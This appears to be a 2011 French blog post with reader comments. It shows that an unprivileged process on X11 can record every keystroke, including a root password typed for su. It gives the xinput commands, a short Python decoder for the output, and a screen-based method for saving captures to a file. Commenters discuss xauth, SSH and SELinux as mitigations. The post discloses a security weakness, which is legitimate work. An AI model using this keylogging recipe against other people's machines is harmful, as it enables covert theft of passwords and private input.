Keylogger sous GNU/Linux : enregistrer les touches tapées au clavier

Source : http://blog.rom1v.com/2011/11/keylogger-sous-gnulinux-enregistrer-les-touches-tapees-au-clavier/
Keylogger sous GNU/Linux : enregistrer les
touches tapées au clavier
En tant que root, il est bien sûr potentiellement possible de faire ce que l’on veut sur sa
machine, comme enregistrer toutes les touches tapées au clavier (keylogger).
Mais aussi incroyable (et inquiétant) que cela puisse paraître, il est possible de faire
exactement la même chose… sans être root.
Démonstration
Et en plus, c’est tout simple : il suffit pour un programme d’écouter les événements clavier
envoyés par le serveur X.
Prenons un outil qui le fait déjà (ça nous évitera de le coder), xinput :
apt-get install xinput
Pour obtenir la liste des périphériques utilisables :
xinput list
Repérer la ligne concernant le clavier (contenant « AT ») et noter son id (ici 11).
$ xinput list | grep AT
↳ AT Translated Set 2 keyboard
keyboard (3)]
id=11
[slave
Puis démarrer l’écoute sur ce périphérique dans un terminal :
xinput test 11
Au fur et à mesure que l’on tape du texte, la sortie standard de xinput indique quelles touches
sont tapées :
key
key
key
key
key
key
key
key
press
release
press
release
press
release
press
release
56
56
32
32
57
57
44
44
key
key
key
key
key
key
press
press
release
release
press
release
32
30
32
30
27
27
Cela fonctionne même lorsqu’on écrit dans une autre application, quelque soit l’utilisateur qui
l’a démarrée. En particulier, si dans un autre terminal on exécute la commande suivante, le
mot de passe est bien capturé :
$ su Mot de passe :
Un programme avec de simples droits utilisateur peut donc écouter tout ce qui est tapé au
clavier (et donc l’enregistrer, l’envoyer à un serveur…).
Décodage
Convertisseur
La sortie de xinput n’est pas très utilisable en pratique. Pour la décoder, un programme d’une
vingtaine de lignes en Python suffit (fortement inspiré de ce PoC). Appelons-le xinputdecoder.py :
#!/usr/bin/env python
# -*- coding: UTF-8 -*import re, sys
from subprocess import *
def get_keymap():
keymap = {}
table = Popen(['xmodmap', '-pke'], stdout=PIPE).stdout
for line in table:
m = re.match('keycode +(\d+) = (.+)', line.decode())
if m and m.groups()[1]:
keymap[m.groups()[0]] = m.groups()[1].split()[0]
return keymap
if __name__ == '__main__':
keymap = get_keymap();
for line in sys.stdin:
m = re.match('key press +(\d+)', line.decode())
if m:
keycode = m.groups()[0]
if keycode in keymap:
print keymap[keycode],
else:
print '?' + keycode,
Pour convertir le résultat à la volée :
xinput test 11 | ./xinput-decoder.py
Problème de redirection
Le problème, c’est que lorsqu’on redirige la sortie de xinput dans un fichier ou en entrée
d’un autre programme, le contenu ne s’affiche que par salves (d’environ 128 caractères
apparemment). Sans doute une histoire de buffer, à mon avis activé uniquement lorsque la
fonction isatty() retourne true.
Pour contourner le problème et récupérer les dernières touches tapées, il est possible de
démarrer la commande dans un screen :
screen xinput test 11
puis, à la fin de la capture, d’enregistrer le contenu dans un fichier. Pour cela, dans le screen
ainsi ouvert, taper Ctrl+A, :, puis hardcopy -h /tmp/log.
De cette manière, /tmp/log contiendra toute la capture.
Pour convertir le résultat :
$ ./xinput-parser.py < /tmp/log
s u space minus Return mon mot de passe root Return a p t minus g e t space
u p d a t e Return Control_L a colon
Améliorations
Une solution plus pratique serait peut-être de démarrer xinput par le programme Python, en
lui faisant croire qu’il écrit dans un TTY (ce que je ne sais pas faire). Quelqu’un l’a fait en
Perl.
Il faudrait également prendre en compte le relâchement des touches dans le décodeur, car
lorsqu’il affiche « Shift_L a b », nous n’avons aucun moyen de savoir si la touche Shift a
été relâchée avant le a, entre le a et le b, ou après le b.
Liens
Merci à Papillon-butineur de m’avoir fait découvrir ce fonctionnement étonnant du serveur X.
Je vous recommande le billet suivant (en anglais) ainsi que ses commentaires : The Linux
Security Circus: On GUI isolation.
Mots-clefs :gnu/linux, python, sécurité, serveur x
Categories: Astuces, Outils, planet-libre, puf
16 réponses à Keylogger sous GNU/Linux : enregistrer les touches tapées au
clavier
1.
fylefou dit :
2 novembre 2011 at 7 h 58 min
Ca craint quand même . surtout pour le mot de passe root. faudrait peut etre que X11
gère ce que je considererai comme une faille.
2.
krominet dit :
2 novembre 2011 at 10 h 25 min
même avec SSH ?
3.
Huy dit :
2 novembre 2011 at 10 h 48 min
# unset DISPLAY
# xinput --list
Unable to connect to X server
4.
G-rom dit :
2 novembre 2011 at 10 h 54 min
Ça n’impacte pas de choses importantes la variable DISPLAY ?
5.
Huy dit :
2 novembre 2011 at 10 h 56 min
Pour compléter mon commentaire précédent, si on utilise xauth – ce qui est
normalement fait par défaut, il n’est pas possible pour un utilisateur qui n’a pas accès
au fichier d’autorisations (donc a priori tout le monde sauf root) de communiquer avec
le serveur X.
6.
®om dit :
2 novembre 2011 at 11 h 01 min
krominet :
même avec SSH ?
Si tu demandes s’il est possible d’écouter à distance les touches tapées dans un
environnement graphique sur une machine à laquelle tu as accès par SSH, la réponse
est oui (selon la configuration du serveur SSH).
Au moins l’une des trois solutions suivante doit marcher (j’éditerai ce message quand
j’aurai testé) :
o
utiliser ssh -X ;
o
o
export DISPLAY=:0
avant de lancer xinput ;
les deux.
Si tu demandes s’il est possible d’écouter ce que tu écris dans un terminal en SSH sur
un serveur, la réponse est non, car alors tu n’utilises pas le serveur X du serveur.
De même, tout ce que tu écris dans un TTY (auquel tu accèdes par Ctrl+Alt+F1 par
exemple) ne sera pas capturé.
(Ctrl+Alt+F7 permet de revenir à l’environnement graphique, je préfère le préciser
pour ceux qui testeraient Ctrl+Alt+F1 sans connaître.)
7.
®om dit :
2 novembre 2011 at 11 h 06 min
Huy
Pour compléter mon commentaire précédent, si on utilise xauth – ce qui est
normalement fait par défaut, il n’est pas possible pour un utilisateur qui n’a pas
accès au fichier d’autorisations (donc a priori tout le monde sauf root) de
communiquer avec le serveur X.
Si un utilisateur ne peut pas démarrer un programme qui communique avec le serveur
X, il ne peut lancer aucune application graphique, si ?
8.
Huy dit :
2 novembre 2011 at 11 h 41 min
Non, un utilisateur Y ne pourra pas se connecter au serveur X de l’utilisateur Z et ne
pourra par conséquent pas lancer d’application graphique sur ce dernier.
La commande ssh -X permet de connecter une machine distante au serveur X local, ça
ne permettra donc pas d’utiliser xinput sur l’affichage graphique distant. De même,
exporter la variable DISPLAY n’est sans doute pas suffisant sur une machine distante,
à cause de xauth. Par contre, si Y a accès /var/run/{light|g|k}dm/*, il pourra lancer
autant de xinput qu’il le souhaite.
9.
tuxce dit :
2 novembre 2011 at 12 h 11 min
Mais aussi incroyable (et inquiétant) que cela puisse paraître, il est possible de
faire exactement la même chose… sans être root.
Je vois pas pourquoi ça serait incroyable ou inquiétant. Le programme que tu lances
est démarré de la même façon qu’un gestionnaire de fenêtre entre autre, or ce dernier,
par exemple, a besoin de savoir ce que tu tapes.
10.
®om dit :
2 novembre 2011 at 12 h 15 min
@tuxce :
Que le gestionnaire de fenêtres ait besoin de savoir ce que tu tapes, c’est une chose.
Que chacun des programme puisse savoir ce qui est tapé dans chacun des autres en est
une autre.
11.
tuxce dit :
2 novembre 2011 at 12 h 50 min
2 programmes lancés avec les mêmes droits auront les mêmes accès, tous les
programmes lancés par l’utilisateur peuvent écrire / lire dans son $HOME, ils peuvent
monter / démonter des partitions etc.
Accéder à X est du même ordre. Il n’y a pas de différence entre un programme gérant
des raccourcis globaux ou le keylogger
12.
Paradoxe dit :
2 novembre 2011 at 12 h 56 min
D’où l’utilité des système de sécurité plus poussé, telle SELinux.
13.
G-rom dit :
2 novembre 2011 at 13 h 34 min
En même temps la personne qui installerait un tel programme sur son pc ça serait
l’utilisateur. Donc on revient à deux problèmes :
- la confiance envers les dev d’un logiciel qu’on installe.
- le bug entre la chaise et le clavier qui installe n’importe quoi.
14.
le hollandais volant dit :
2 novembre 2011 at 22 h 22 min
Ah, ceci est pratique pour connaitre les numéros des touches.
Merci !
15.
Tuxicoman dit :
3 novembre 2011 at 3 h 00 min
regarde du coté de
http://sourceforge.net/apps/mediawiki/pykeylogger/index.php?title=Installation_Instru
ctions
et de python-xlib. Ca devrait te permettre de récupérer les données clavier dans python
directement.
C’est clair que ça fout les boules de savoir qu’il n’y a pas de séparations entre les
applications !!!
16.
desidia dit :
3 novembre 2011 at 7 h 45 min
le hollandais volant :
Ah, ceci est pratique pour connaitre les numéros des touches.
Pour cet usage, il y a un utilitaire dédié qui se nomme xev. Il lance une petite fenêtre
où tout cela s’affiche, y compris les coordonnées des déplacements de la souris.